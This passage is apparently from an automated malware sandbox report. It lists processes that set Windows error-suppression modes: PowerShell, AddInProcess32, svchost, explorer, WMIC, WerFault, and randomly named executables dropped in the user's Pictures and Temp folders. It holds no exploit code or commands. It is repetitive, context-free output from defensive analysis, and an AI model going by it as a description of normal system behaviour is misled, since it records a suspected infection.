Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
